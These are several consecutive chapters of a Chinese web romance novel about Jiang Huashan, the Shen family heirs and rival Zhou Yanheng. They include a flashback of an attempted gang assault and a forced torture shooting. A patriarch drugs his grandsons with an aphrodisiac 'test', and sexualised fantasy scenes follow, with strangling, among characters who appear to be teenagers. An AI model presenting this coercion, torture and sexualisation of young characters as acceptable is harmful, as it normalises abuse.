姜花衫作为当时傅潇潇的头号狗腿,傅潇潇追周宴珩她献计,傅潇潇表白她踩点,或许是感觉到了她的作用,那段时间傅潇潇对她难得和颜悦色。 大概是真的没吃过好的,傅潇潇说几句好话,姜花衫就傻到以为人家把自己当朋友,在几次撞见周宴珩跟别的女生暧昧后,她拿出一副好姐妹的架势劝傅潇潇放下周宴珩。 不想傅潇潇却因此勃然大怒,态度一下回到以前,甚至比以前还要恶毒。 那会姜花衫刚替傅潇潇背下赵棠跳楼的黑锅,正是被全校唾弃疏远的时候,傅潇潇在这个时候跟她决裂,无异于把她推进了绝望深渊。 面对各种流言蜚语,恶毒谩骂,姜花衫只能默默承受,甚至还天真安慰自己,长大以后就好。 但让她万万没想到的是,她以为的深渊根本没到底,真正的黑暗还有地下一层。 傅潇潇假意和好约她一起喝咖啡,放学后,她来到约定的地点,迎接她的却是另一场劫难。 十几个外校男生把她堵在咖啡馆,他们各种言辞侮辱,挑逗戏弄。 “傅小姐说她有个朋友寂寞难耐,让我们一定伺候舒服。” …… 第275章 生死较量 姜花衫哪见过这种阵仗,人都吓傻了,尖叫着四处逃窜。可她哪是恶人的对手?三两下被绑住双手扔进沙发,她哭着求饶,搬出沈家威胁,但都无济于事,万幸,裙摆被扯破的时候,周宴珩来了。 流氓对上天生坏种,惨败。 周宴珩看着扯坏姜花衫的格子裙,脸上的从容淡了几分。他漫不经心挨着姜花衫的腿坐下,拉着她手里束绳把人拽到跟前。 “哭什么?谁撕的还记得吗?” 姜花衫吓的摇头。 周宴珩眼里的戾气深了几分,撩着眼皮玩弄手里的麻绳,“这都记不住,看来是想被玩?” “不是!”姜花衫浑身哆嗦,指着跪在地上呻吟的胖子,“是他。” 周宴珩满意笑了笑,抬手挂掉她眼角的泪,“这就对了,被欺负了可不能只会哭。” 说罢,他揽住姜花衫的腰,把人抱进怀里,温热的胸膛紧紧贴合她的后背,感觉到怀中人的僵硬,周宴珩从背后托起她的双手,下巴搭着她的肩胛。 “别怕,垃圾处理掉就可以了。” 周宴珩手里拿着一把精致小巧的银色手枪,手把手教她上膛。 姜花衫吓的面色惨白,她没摸过枪,更没杀过人,她不敢。 周宴珩感觉到她的抗拒,用一只手桎梏她的下巴,逼她直视恐惧,另一只手牵动她的食指扣下扳机。 “砰——” 子弹横飞,击中了男人的肩膀,男人惨叫了一声,鲜血飞溅。 周宴珩,“虐杀的时候不需要瞄准要害,多折磨一下也没关系,明白吗?” 那天,她在咖啡馆被逼着开了十六枪,每个人都是活靶,有的挨了不止一枪。到后面,她动作越来越娴熟,看着子弹穿破肉体,恶人跪在脚下求饶,她甚至隐隐生出了兴奋的愉悦感。 * 姜花衫摇了摇头,强行将记忆里的杀戮驱逐。 萧澜兰的事件已经给了她警告,有些剧情是避不开的,即使更换演员该来的剧情还是会来。现在她已经有了反抗意识,她和周宴珩的故事又会怎么演呢? 上一世,周宴珩一边喜欢她,又一边与别人周旋,他直言她身份太低不能联姻。但开启恶毒标签后的她也不好拿捏,周宴珩对她还有喜欢,她压根就看不上周宴珩,有事的时候利用一下,没事的时候就踢开,惹得周宴珩几次想弄死她。 后来她喜欢上沈兰晞,周宴珩还嘲笑她不自量力。周宴珩自以为很能拿捏她,他拿捏她的方式就是贿赂方眉,给方眉巨大诱惑,让她心甘情愿做卖女儿刽子手。 但他最终还是失算了,二十岁的一场生日宴改写了她的命运,她成了沈兰晞的未婚妻,沈家小夫人。为了避嫌,她就跟周宴珩划清了界限,并放下狠话以后老死不相往来。 周宴珩气疯了,在订婚宴那天直接闯进她的房间要睡她,两人拉扯时恰巧沈兰晞进来了。 沈兰晞不愧是行走的禁欲器,见自己未婚妻跟别人拉扯一点反应都没有,只提醒她不要丢了沈家的脸面,走的时候还贴心带上了门。 现在想想,其实那一刻,喜欢他的心就死了一半。 周宴珩原本还怒火中烧,在目睹沈兰晞的态度后心情大好。 “你看到了,他不爱你,跟一个不爱自己人过一辈子你甘心吗?” 当时,她恨透了周宴珩的嘲讽,故作刻薄回呛,“爱爱爱,你想你去挖野菜吗?脑子里只有情情爱爱这种廉价的东西。谁说我要跟沈兰晞过一辈子?我是要跟沈家的荣华富贵过一辈子,我嫁的是钱是权,是人人艳羡的沈小夫人的头衔。” “等你什么时候比得过沈兰晞再来笑我!” 周宴珩最后被气走了,临时走掐着她的脖子,让她等着。 这一等,就是他被沈家暗杀,周家消迹,辗转来到下个剧本。 姜花衫忽然觉得头疼,爷爷的事还没有头绪,新的剧情点又要开始了。 这时,车窗缓缓上升,阻隔了外面的世界。 姜花衫一愣,抬眸与后视镜里的一双眼睛迎面撞上。 周宴珩已经在后视镜观察了很久,见她察觉,不动声色转过目光直视前方,“风太大了,吹久了头疼。” 姜花衫翻了个白眼。 周宴珩就是不看也知道她现在肯定没做什么表情,垂眸,挂挡,一脚油门轰到底。 “!”姜花衫猝不及防,要不是系着安全带差点被甩了出去。 “你发什么疯?” 刚刚提速那一瞬间,身体里的肾腺激素飙升,头皮发麻脚底悬空。 周宴珩正要降速,后视镜里忽然出现一辆跑车,车身流线骚到极致,两条红色的车灯轮廓线像极了蛰伏的毒蛇在凝视着你。周宴珩扯了扯嘴角,“坐稳。” 说罢,再次轰踩油门,仪表指针急速拉满。 后面的黑车越贴越近,气浪声紧追不舍。 姜花衫往后看了一眼,牙槽都要咬碎了,沈清予有毛病吗?大晚上的不在沈园温习,跑来飙车是什么鬼? 两辆车,一黄一黑一前一后,在山道上急速飞驰。 绕过盘山公路,进入沈园地段,沈清予握紧方向盘,油门拉爆贴着大黄蜂的车身直接超车,越过半个车身时方向盘右拐,朝着周宴珩撞了过去。 周宴珩没想到沈清予这么狠,脸色微变松了油门急踩刹车。 “菜鸟。”沈清予扯了扯嘴角,打死方向盘车身横转拦在公路中间,轮胎摩擦着地面发出尖锐的胎噪。 见对面大黄蜂没有反应,沈清予推门下车,把玩着车钥匙转圈,语气嘲讽,“周宴珩,菜就多练。” 话音刚落,车后座有人推门走了下来。 没等他反应,那人拿着什么东西迎面对着他砸了过来。 “沈清予,你是不是有病!” …… 第276章 一定是幻觉吧?(补齐) 沈清予一脸嚣张,漫不经心偏了偏脖子,抬手抓住迎面而来暗器。 墨镜? 敢暗算? 他眼神冷峻,撩着眼皮想看看到底是谁急着投胎找死。 “?” 就这一眼,身上混不吝的嚣张劲儿一下就磨平了,沈清予一秒变脸,快步跑上前,小心翼翼搀扶。 “怎么是你?没事吧?” 姜花衫抓着他的胳膊,“你说……” 她脸色微变,捂着嘴扶着大黄蜂,“哕!” “小花儿……”沈清予忍着恶心给她顺气,发现她只是干吐,立马跑回车里拿纸巾。 周宴珩从反光镜里看了一眼,思忖片刻解下安全,拎了瓶水走下车。 沈清予立马找到了发泄口,“周宴珩,你怎么开车的?” 周宴珩挑眉,“这话该我问沈少爷,眼神不好就去看医生,连自己妹妹都认不出跟我面前狗吠什么?就你刚刚那做派,我但凡脾气差一点,副驾驶的人在不在都另说。” 沈清予脸色难看,一下堵的慌。 他早认出了前面的大黄蜂是关鹤的新车,超车平行时他也看见了驾驶位坐的周宴珩,但当时副驾驶的人戴着帽子和墨镜,就一秒的时间他根本来不及看清楚,所以才闹出这种乌龙。 竟然不回嘴?周宴珩抬眸,略有深意看向姜花衫。 “看来鲸港嫡公主还真不是随便叫叫的?” “哕——” 姜花衫一边吐一边翻白眼,“水。” “哦。” 沈清予正准备去车里拿,周宴珩拧开瓶盖,抢先一步送到姜花衫跟前。 “拿着。”他怕自己犯恶心,眼睛故意看向别处。 姜花衫此时也顾不上是谁的水,一把接过猛地大灌一口又吐了出来,周而复始直到一瓶水用完,才感觉人恍了过来。 “小花儿,纸。” 沈清予察言观色,一看水瓶空了立马递纸。 姜花衫斜眼看了他一眼,二话不说拿着空瓶对着沈清予的脑门咚得一下砸了过去。 “沈清予,我要告诉爷爷,你不但偷溜出去跟人飙车,你还想谋杀我!” 周宴珩双手抱胸,转头看向沈清予。 沈清予一点脾气都没有,“祖宗,我又不知道你在车上?没事吧?有没有受伤?要不要去医院?” 周宴珩眸中闪过一丝兴味,沈清予的脾气出了名的又坏又疯,从刚刚开车撞他就可以窥见一二,没想到竟然可以容忍姜花衫至此。 姜花衫拿着空瓶又咚了一下,“你是不是因为护手霜的事在报复我?” “……不是。”沈清予又想生气又气不起来,淡淡瞥了周宴珩一眼,一把抢过她手里的空瓶,“没完没了是吧?我还没问你呢?大晚上的,你不在自己房间睡觉,跑出来鬼混什么?” “鬼混?我……” 不等姜花衫说完,沈清予忽然发现自己抓到了一个惊天破绽,一下反应过来,转头打量起周宴珩,“你们怎么会在一起的?” 姜花衫,“我……” “我没有问你,”沈清予再次打断,漆黑的眸光燃着幽火,不动声色看着周宴珩。 周宴珩扯着嘴角笑了笑,“你有什么立场问我?当哥哥的就可以随意干涉妹妹的自由吗?我怎么不知道?还是就你们沈家这样。” 沈清予脸色瞬间阴沉,“周……” “周宴珩,你闭嘴!”姜花衫脾气更大,抢过沈清予手里的空瓶对着周宴珩的脸拽了过去。 “我们沈家家风清正,还轮不到你个变态指责,哥哥关心妹妹有什么不对?心思阴暗看什么都阴暗,你赶紧找个地方阴暗爬行吧!” 周宴珩冷不丁被打脸,懵了一下转头瞪向姜花衫。沈清予反应过来,立马挡在姜花衫面前。 “你凶什么凶?”姜花衫根本不怕他,从沈清予身后探出头挑衅,眼睛瞪的更大。 沈清予知道周宴珩的手段,担心姜花衫吃亏,轻轻拍了拍她的额头,“我来处理。你去车上等我。” 姜花衫凝目在两人之间转悠了一圈,触及到周宴珩的深眸时,她甜甜笑了笑,随即一个优雅的转身,步调轻快上了沈清予的车。 等她关上车门,沈清予侧头瞥了一眼,眼神冷峻,“她不是萧澜兰,沈家也不是萧家,你最好别招惹她。” 周宴珩扯了扯嘴角,眼底的笑意渐渐有了锐气。 萧澜兰养伤期间,周国潮领着周宴珩一起去医院探望萧澜兰。 周家的意思很明确,那日周宴珩之所以任由别人奚落萧澜兰,是因为不满她为了自保想拖周家下水。 萧启一开始不信周宴珩的一面之词,可后来B超报告显示,萧澜兰并没有怀孕。她撒谎了,也就是说,萧澜兰想利用孩子制造舆论逼迫周宴珩就范成了事实依据。 不仅如此,周家还给出了一段录像,里面清楚记录黄谣出事前一日,萧澜兰去艺术楼找周宴珩,两人在房门前拉扯了一会儿,周宴珩不堪其扰转身离开。萧澜兰被拒绝后伤心大哭,之后又来了几个男生,他们好心劝了几句,萧澜兰便跟着一群人进了房间,没多久房间里就传来奇奇怪怪的声音。 见状,萧启恨不得找个地缝钻进去,霸凌弱小,残害手足,现在又加了一条淫乱失德,简直罪不可恕。 周家人一走,他便叫嚷着要杀了这个给家族蒙羞的不孝女。 沈娥担心萧澜兰被打死,又顾及家丑不可外扬,情急之下给沈渊和沈清予打了电话求助,两人赶到时,萧澜兰已经被打的奄奄一息。 但这次,她怎么都没有低头,一直拽着萧启的裤脚说自己是被冤枉了。 但她是狼来的孩子,没有人再相信她,就连沈娥也只是哭着求她赶紧认错道歉,最后,萧澜兰只能眼睁睁看着那匹恶狼吃掉自己所有的小羊。 沈清予曾亲眼目睹周宴珩是怎么毁掉的萧澜兰,所以他绝不允许这个脏东西靠近姜花衫。 “滴——滴——” 一阵急促的鸣笛声骤然响起。 姜花衫从车窗探出头,“你们俩眼神都拉丝了,是要谈恋爱吗?” “……” 原本一场不甘示弱的对视被她这么一描述,画风都不对了,周宴珩嫌弃,沈清予晦气,两人不约而同看向她。 “哦豁。”姜花衫压了压帽沿,默默关上窗。 沈清予头疼,抬眸瞥向周宴珩时又变得盛气凌人,随手将手里的空瓶对着大黄蜂的车顶抛了过去。 “听明白了就滚吧。” 空瓶沿着车身流线一路滚到了前防风玻璃,最后卡在了雨刮器前。 夜幕中,黑车大灯骤亮,红色的蛇眼灯仿若巨兽忽然睁眼。 周宴珩不适眯了眯眼,只见眼前酷似霸主的‘黑夜之声’一个老年倒桩,慢悠悠回正身体,然后迈着30迈的‘老寒腿’慢悠悠开始爬坡。 “……” 周宴珩舌尖顶边腮,活生生被气笑了,他刚刚竟然被这么个傻逼威胁了? * 第277章 小黑屋成绩归零 翌日,艳阳晴空,是个明媚的好天气。 三个院子的大门几乎同一时间打开,三人目光对视了一眼,各自沉默往游廊走去。 为了尽快把三个孙孙调教好,沈庄特意在沈园后山又开垦了一块地,盖了一栋养生馆,馆里有三个秘密小房间,除了它们各自对号的主人外,一般人不可轻易入内。 养生馆是四合院制,中间有个占地半亩的天井花园,花园四角摆放着四口麒麟缸,用来存放屋檐垂落的天水。 园里摆着一壶茶,沈庄换了一身常服在花架前打太极,沈执垂手站在一旁。 三人站在廊庑,“爷爷。” 沈庄双手画圆收势,接过沈执递上的毛巾,笑着朝三人招手,“哟,精神不错,看来昨天都休息好了,这我就放心了。” 放心? 三人同时抓住一个关键词,神情各异看着沈庄。 沈庄被小孙孙们草木皆兵的神情逗笑了,端起茶壶啄了一口,笑道,“别紧张,都是亲孙子,爷爷还能害了你们不成?” 话音刚落,孟医生带着一群科研人员走了进来,他们每个人手里都提了一个箱子。 沈庄,“都过来坐,孟医生,你给他们说说流程。” 还有流程? 沈兰晞面色不显,率先入坐。沈归灵扫了几人一眼,面若和风。只有沈清予,一脸郁躁恨不得转身就走。 等另外两人入座,孟医生打开医疗箱,从里面取出一剂蓝色的试管。 “老爷子,三位少爷,这是我们实验室的最新研究,多巴酚快乐分子,只要往体内注入一毫升,它就可以控制你的身体让你陷入最原始的欲望。” “……” 沈清予被气笑了,“这就是亲孙子的待遇?” 以前也就是用点脑电波,意识流之类,用药是不是太过分了。 沈庄老神在在,“南湾的事你们都是亲身经历过的,我会对你们仁慈,但是敌人会吗?真正的敌人,会用尽一切手段摧毁你们的意志。” 沈清予一时辩驳不了,转头看向另外两人,“说话啊。” “爷爷说的有道理。” 沈兰晞神情淡淡,从南湾事件后,他就一直在反思自己。如果被绑的是他,易地而处,他能不能做到像沈归灵一样,既保存自己又不伤害别人? 沈归灵,“我听爷爷的。” 反对无效,沈清予只能闭嘴。 孟医生继续解释,“少爷们放心,药剂的克量我们已经精准计算过了,每一次用药可能都会出现短暂的戒断反应,但只要身体机能适应就会慢慢产生抗性,随着时间积累,抗性会逐渐增强,以后类似这样的药剂对你们不会再有效果。” 原来这才是老爷子的真正用意。 沈清予看了沈庄一眼,双手插兜站起身,“那还等什么,快点吧。” 早死早超生。 沈兰晞和沈归灵跟着起身,三人如往常一样进入各自的小黑屋。 说是小黑屋,其实并不贴切,房间的布置雅致整洁,床、沙发、躺椅、洗浴间生活配套设施一应俱全。 同一时间,不同的场景。 沈归灵躺在床上,沈兰晞双腿叠覆端坐在沙发上,沈清予直接摆烂趴在躺椅上。 助理们将脑电波的贴片贴在太阳穴上,同时打开蓝色试剂。 “可以开始了。” 沈归灵/沈兰晞/沈清予同时接过试管,一饮而尽。 “滴——” 脑电流启动,计时开始。 * “啊~~~” 姜花衫一觉睡到大天亮,神清气爽,趿拉着乌龟拖鞋慢悠悠走下绣楼。 “张妈,有吃的吗?” 张茹从厨房探出头,“做了淮阳汤包,洗洗手,我给你端出来。” 姜花衫走进花架,闲来无事逗了逗小可怜,张茹端着一屉热腾腾的包子,隔得很远都能闻到香味。 姜花衫吸了吸鼻子,回头看向院外。 今天怎么这么安静,三傻都去考试了? 张茹把碗筷摆好,察觉到她的目光,笑着道,“三位少爷很早就去后馆了,看样子竞争很激烈,姜小姐觉得最后谁会胜出?” 姜花衫摇头,“猜不到。” 书里也没写。 不过…… 夹汤包的筷子忽然在半空中顿住。 去S国一定是本剧重要剧情,而这个剧情被触发的起因是白峥被杀,也就是说,是她和沈归灵共同开启的。 难不成S国的剧情跟沈归灵有关,这次胜出的会是他? * “不要抵抗我……” 此时的沈归灵已经陷入了水深火热之中。 药剂挑起了他的欲念,南湾那晚的纠缠在他的欲念世界生根发芽。 没有白峥,只有她。 热浪滚烫的被单之下,她像只没有骨头的祸蛇,滑腻的手掌一点一点入侵他的掌心,语调恶劣。 “床上不要玩这么危险的东西,万一伤到我怎么办?” 他闭上眼,手指脱离,放弃了刀。 但是,他没有放弃抵抗。 手掌握住她的肩头,翻身将人压在身下,一手扯下被褥盖在她身上起身要走。 可她不准,跳起身将他扑倒,脸上怒气未消。 “别忘了你的清白是谁保下的?” 他被扑倒,两人在被浪中翻滚,呼吸交缠,再次陷入灼热的黑幕里。 目不能视,所有的感官被放大了无数倍,他能感觉到有一双作乱的手在横行霸道,哪怕这时,他还有理智,顺着感官抓住了两条不听话的小蛇。 不等他反应,又多出一双手捧着他的脸,夜幕中出现一双比星星还亮的桃花眼,她俯身轻轻吻住了他的唇。 沈归灵眼神瞬间失魂,手里的两只小蛇不知变成了谁的手,牵引着他慢慢探入裙摆。 忽然,他失焦的瞳孔有了一点亮光。 他摸到了一把水果刀。 对了!那时,他就是这样取刀,杀了白峥。 他恢复了一点意识,一只手慢慢上移扣住她的脑勺,手掌越过刀俎摸到深处,翻身将她压在身下加深了这个吻。 不可阻挡的强势弄皱了身下的被单。 这才是他真正的欲望。 当时,比起杀白峥,他更想弄死她。 * “啊~” 姜花衫一口咬下半个汤包,翘着二郎腿一脸悠哉。 好无聊啊,还是得想办法快点发展新剧目。 …… 第278章 礼崩乐坏!道德沦丧? “吱呀——” 其中一间小黑屋的房门率先被打开,里面的工作人员上前跟沈执说了几句,沈执立马回身走进庭院,弯腰替沈庄倒了一杯热茶。 “老爷子,阿灵少爷已经结束了,现在在沐浴。” 沈庄躺在竹椅上闭目养神,听罢抬眸看了沈执一眼,“你说谁?” 不怪沈庄这么惊讶,以前比试的时候沈归灵就没有输过,现在才进去十五分钟怎么就结束了? 沈执低头,附耳小声说了几句,沈庄神情微妙起来,“输的这么彻底?” 他摆摆手,“这事别说出去,这些毛头孩子还嫩的很,免得伤了自尊。” “是。” 沈庄端起茶盅,目光扫向另外两个房间,这下可就只剩兰晞和清予了。 * 此时的沈兰晞端坐在沙发上,鼻息微微有些低喘。 他的欲望里并没有那么多光怪陆离。 夏日莲池金波,他在窗下看出书。 “咚——” 锦鲤摆动鱼尾在莲叶间穿梭,水花太大,一滴溅落在书面。 他正要起身,忽然一道虚影闪现从背后抱住了他,沈兰晞神色淡淡,扣着肩上的手将虚影甩了出去。 这时,又有人坐进了他的怀里,准确来说不是人,是一道曲线曼妙的光影,那道光影抱着他的脖子似乎想要跟他一起看书。 沈兰晞合上书,站起身将怀里的光影推倒在地。 他才踏出一步,又一道翩跹跌落在地一把抱住他的腰,这次不是光影,是一张没有脸的美人身。 沈兰晞脚步微顿,之前消失的虚影、光影忽然再次出现,一个从身后抱住他,一个从前面搂着他的脖子,影像渐渐凝聚变成千娇百媚的美人。 “……” 他揉了揉眉心,一脚踹开跪在脚下的美人,随即后退一步,掐住身前美人的脖子,美人窒息消散在掌间。 还剩一个。 沈兰晞重新坐回罗汉床,如之前那般拽着身后美人的手腕,一把将美人从身后拽进跟前,落进怀里的瞬间,他抬手锁住了美人的脖子。 正当他准备收力时,美人有了脸,一双含情脉脉的桃花眼里满是恐惧和挣扎。 “!” “轰——” 风雅的琴弦被罪恶的欲望扯断,礼崩乐坏。 沈兰晞像甩开烫手山芋般把人推开,惊慌起身,光影一变,转身拦在他面前。 眉眼神情,一颦一笑,像活过来一般。 “你跑什么?” 她搭上他肩膀,轻轻一推,随他一起跌进罗汉床,她搂着他的脖子坐在他的身上。 “怕什么?规矩是死的,人是活的,你要规矩还是要人?” 他没有回答,神情冷峻看着她。她笑了笑,往平日一样恶劣,双手搂着他的脖子,低头慢慢贴近他的唇。 沈兰晞眸光深了深,偏过头,亲吻落在嘴角。 她极为不满,掰正他的脸,额头相抵,目光对撞,她的手一点一点下移,划过下腹落在某**处。 “沈兰晞,你连自己的欲望都不敢直视,拿什么跟别人争?” 沈兰晞抬眸,卸下克制,手掌扣住她的腰身将人揉进怀里,翻身压了上去。 世界天旋地转,高悬在墙上的【静】被时空拉扯,一分为二,变成了【争】。 * “轰——” “……” 沙发上的少年慢慢睁开眼,眼底流淌着细碎的幽光,眼眶隐隐泛着红色。 情潮的余韵还未褪尽,这欢愉对他如同灭顶之灾,这么清醒去面对,实在有些难堪。 沈兰晞低下头,沉默片刻,拔掉了太阳穴的贴片转身去了洗浴间。 * 这边,沈执得了消息,转身跑进庭中。 “老爷子,兰晞少爷也结束了。” 沈庄坐起身,“这才多久,兰晞也结束了?” 沈执,“兰晞少爷多撑了三分钟。” 沈庄嘶了一声,“是不是药下得太狠了?” 沈执不敢回答,低头将房里的情况说了一遍,沈庄立马瞪大了眼睛,“怎么跟阿灵一个怂样?” 虽说初入情事的确会有这种情况,可是他们一个两个都这样,也太不争气了! 沈庄站起身,一脸复杂看向第三个房间,“清予这小子是偷偷补习了?这次怎么这么长脸?” * “幻觉,这些都是幻觉。” 沈清予死死抓着躺椅两侧的扶手,理智与欲望各占天秤一端。 顾公馆的房间。 女郎穿着清凉,不停往他身上蹭,他不知道为什么挣扎不了,某处的欲望随意就被撩拨了起来。 沈清予心如死灰,直接躺在床上摆出一个太字。 不就是欲望吗?宣泄出来不就好了,他又不当渡世佛陀干嘛要灭人欲? 女郎慢慢爬上他的身体,这种煎熬就像火柴自燃前的擦枪走火。 磨磨蹭蹭不得劲,沈清予直接抽掉皮带,解开第一颗扣子,撩起衣角,用力扣住女郎的脖子,“*” 女郎讨好(自动屏蔽),歪头一笑,忽然!浓颜狐狸眼变成了星星桃花眼。 “!” 歹命! 这一变,直接把【太】吓成了【大】 沈清予蹭的一下从床上跳起,手忙脚乱提裤子,刚系好扣眼那祸坨子突然从背后抱住他。 完了完了! 理智了!?道德了?!他是要泄欲,不是要当畜生! 身后的人越抱越紧,沈清予回头看了一眼,还是那张脸,他咬牙狠心一脚把人踹下床。 “别想了,哥是你永远得不到的人!” 桃花眼嘤咛一声,站起身开始脱衣服。 沈清予太阳穴突突,她脱一件他套一件,脱一件套一件,最后桃花眼不耐烦,用力一拉,撕破了身上所有的衣服。 沈清予眼明手快,扯下窗帘,里三层外三层把人严严实实包成了粽子。 他吁吁喘着气,低头看着自己的小弟,“也不知道会不会吓出毛病。” 桃花粽娇滴滴恳求,“清予哥哥,你放开我。” 沈清予没好气,“滚蛋!” “你这样会不舒服的,我可以帮你。” 沈清予撩着眼皮,“行,你换张脸,我跟你大战三百回合。” “可是,你分明就是喜欢我,不然你根本看不到我。” 沈清予眼里闪着幽光,一把扣住她的下巴,指尖渐渐收力,“是,所以你就仗着我的喜欢,为所欲为?” …… 第279章 不!是你厉害 “啊~唔~~~” 姜花衫一口咬下汤包,肉欲横流,汁水在口腔里打转,烫得她想咽又不敢咽。 突然! 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度80%】 “噗——” 这声提示音来得猝不及防,吓的姜花衫把吃进嘴里的肉都吐了出来。 “咳咳咳——” 这是什么鬼? “怎么了?是不是烫着了?”张茹不明所以,赶紧起身去倒水,“都说了烫让你慢点,非是不听。” 姜花衫活见鬼似的,转头看向在花架下晒太阳的小可怜,“可是…我已经很慢了,慢的都不像话了。” 其实从一开始,她就知道谁才是真正的小可怜。 可那个时候她刚刚接触剧目之门,对这里的一切都不信任,虽然贪恋剧目之笔的奖励,但她不愿变成一个傀儡有目的地去接近另一个人,再加上那个时候沈龟灵只有十五岁,又刚刚丧母,未成年加缺爱双重低BUFF叠满,她自觉攻克不了也就丢在一边没去管了。 心动篇?! 姜花衫扶额。 该死的谐音梗,她之前听报幕以为是‘行动篇’,还天真以为亲情、友情、爱情,不管是谁,只要让沈龟灵学会爱就可以了。 她原本还打算干票大的,让沈龟灵喜欢上爷爷,这样说不定还能多个帮手。 结果是心动篇。 等等! 心动?!! 沈龟灵心动了? 对谁? “……” 姜花衫眼神微妙,强装镇定整理刘海,“别的不说,眼光还是不错。” 张茹见花架下的女孩儿一会儿竖眉,一会儿拍桌,一会儿阴着脸,一会又揽镜自顾,无奈摇了摇头,“姜小姐,你一个人碎碎念什么了?喝口水吧。” 姜花衫接过水杯,正准备喝,立马戒备起来。 “等等!百分之八十?他怎么这么奇怪?没有一点循序渐进,一上来就超爱?” * 艳阳当空。 庭院里的祖孙三人相顾无言。 沈兰晞和沈归灵都换了一身衣裳,两人心照不宣,一个看着庭院花草出神,一个端着茶盅专心品茶。 沈庄在两人之间来回逡巡,眼看气氛有些沉重,故意扯开话题,“真是士别三日,当刮目相看,没想到最后的黑马竟然是清予。” 眼下已经过去了两个小时,沈清予的小黑屋依旧没有任何动静。比赛已经结束了,之所以没有叫停,是想看看沈清予的极限在哪里? “这次的S国之行就由清予跟着了,你们两个没意见吧?” 沈归灵放下茶杯,眉眼温和,“愿赌服输。” 沈兰晞看着沈庄,“我没意见。” 过了一会儿,第三个小黑屋传来动静。 沈执得了消息立马回来报告。 “老爷子,清予少爷熬过了药性,现在已经清醒了,孟医生说他是靠自己的意志力撑过来的,所以需要一点时间缓缓。” 沈兰晞和沈归灵同时一愣。 平时训练的时候,脑电波加个模拟触感沈清予都受不住,这次加了药,难度升级,他竟然挺过来了? 没有对比就没有伤害,两人不禁又想到自己欲念里的荒诞,神情各自微妙。 沈庄看在眼里,以为是小孩子的胜负欲在作祟,毕竟比赛项目还是很考验自尊心的。 老人笑着安慰,“你们两个也别灰心,一两次的失败并不能说明什么?调整好状态最重要。” 两人各自沉默,他们都很清楚,这次溃不成军是因为他们放弃了抵抗,不抵抗,再来多少次结果都一样。 沈兰晞站起身,神情淡淡,“爷爷,我先回去了。” 沈庄点头,温和看向一旁的沈归灵,“阿灵,你也回去休息吧,注意腿伤。” “好。” 沈归灵难得没有推辞,起身告辞。 两人一前一后走出养生馆,方向一致但谁都没有打破沉默。 穿过游廊步入中庭,梅兰竹菊四院映入眼帘,其中菊园满院花墙,在四院中是最惹眼的存在。 沈兰晞脚步一顿,目光深深。 没等他行动,有人从他身边越过,拾阶而下直取心脏。 那背影没有一丝停滞,似乎不受任何拘束。 沈兰晞立在廊庑,看着沈归灵推开了菊园的门,直至那道身影消失在眼前,眸底的平静才终于有了一丝裂隙。 * “啊~好饱好饱~” 姜花衫揉着小肚子,单手托腮,眉头紧蹙,一脸困惑。 虽然她有颜有钱有胸有屁股还有内涵,喜欢她的人从A国可以排到S国,但那是沈龟灵啊,A国的顶流海王,她什么都没做,他怎么就交心了? 这也太匪夷所思了。 还没出手就爆灯百分之八十,那她出手还了得? 啧!这该死的魅力。 沈归灵推开院门就看见姜花衫沐浴在阳光下,一手托腮,四十五度望天犯傻。 所有人都说她漂亮,就连阳光都偏爱她,所以她身上的头发丝都能发光。 但沈归灵眼里却是恰恰相反,这世上有类人是看不见光的,比如他。他是因为注视着她,才发现这世间原来还有微光,是她赋予了阳光被赞颂的机会。 少年站在门口,指尖微微收拢,沉默片刻抬步走进了阳光里。 “在想什么了?”他逆着光,眼眸深邃。 姜花衫略有些惆怅,“在想沈龟灵。” 少年略有怔忡,眼睑微微上扬。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度90%】 姜花衫震惊了,抬头,迎着光看着眼前的人。 阳光下,她的脸几乎透明,睫毛度着光圈,瞳孔比平时浅了很多,嘴唇微张,傻的可爱。 沈归灵垂眸,眼底藏着幽光,一瞬不瞬看着她。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99%】 “!” 姜花衫一脸兴奋! 沈归灵疯了吗? 这种不劳而获的好事终于要轮到她了吗? 沈归灵看着她上蹿下跳,挑眉,“想我什么?” 虽然还没完全准备好,但姜花衫还是一秒进入状态,双手捧心,“我在想你这么厉害,那两个二傻肯定被你完虐吧?” 还差百分之一,小小小可怜!拿捏! 沈归灵笑了笑,“不,是你厉害。” 【叮——】 【警告,宝藏剧情心动篇之《拯救小可怜》反弹,完成度下降百分之四】 “……” *(待续) 第280章 断、舍、离 “……” 反弹? 这东西还能反弹,是不是有毒啊? 姜花衫脸一黑,气呼呼坐回竹椅,她就知道,顶级海王哪这么容易被钓? 沈归灵见她生气,眼里的笑意多了几分。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99%】 姜花衫木着眼,斜睨他,有病是不是? 沈归灵就算再聪明也不会想到这祸坨子脑子里有个针对他的计量器,只当她还在为那天雷行关门的事生气。绕过竹椅走到她面前,从怀里掏出一沓厚厚的黑色卡签。 “给你。” 姜花衫瞄了一眼,一副不在意的模样,“什么?” 沈归灵,“不是说要一百个要求吗,这里有一百张便签卡,撕下一张就算一个要求。” 姜花衫用力抿直的嘴角终于绷不住,钩了翘嘴,“这怎么好意思。”说着,口嫌体正直一把拽过。 可没等她开心两秒,脸上神情又微微有些别扭。 完蛋了! 沈龟灵这是超爱她! 姜花衫有些心虚,瞄了一眼立马收回目光,“先说好啊,这是自愿给我的,我……什么都没做。” 我可没有勾引你。 沈归灵嗯了一声,盯着她打量,“给你的东西看了吗?” 姜花衫脸色微变,“你……会不会告诉你爸爸,说我……” 之前她想去竹园找沈归灵,就是想当面问清楚。既然知道她在做什么,为什么还要告诉她被暴露的事? 沈归灵,“这件事我会保密,作为你替我保守白峥之事的报酬。另外……我需要提醒你一下,既然我能查,别人也能查,不管你要做什么?之前的线已经行不通了,那群人现在未必可靠。” 姜花衫哦了一声,关于这一点,他们俩倒是不谋而合,也是为什么她手上已经足够一千万但迟迟没有联系梁叙的原因。 国贸天台事件给了她很多的启发,她之前一直以为沈眠枝是因为情伤跳楼轻生,可如今情景再现,现场竟然还埋伏着杀手,这足以说明上一世沈眠枝的死也是被人精心布局,就算当时她没有跳楼,也会死于暗杀。 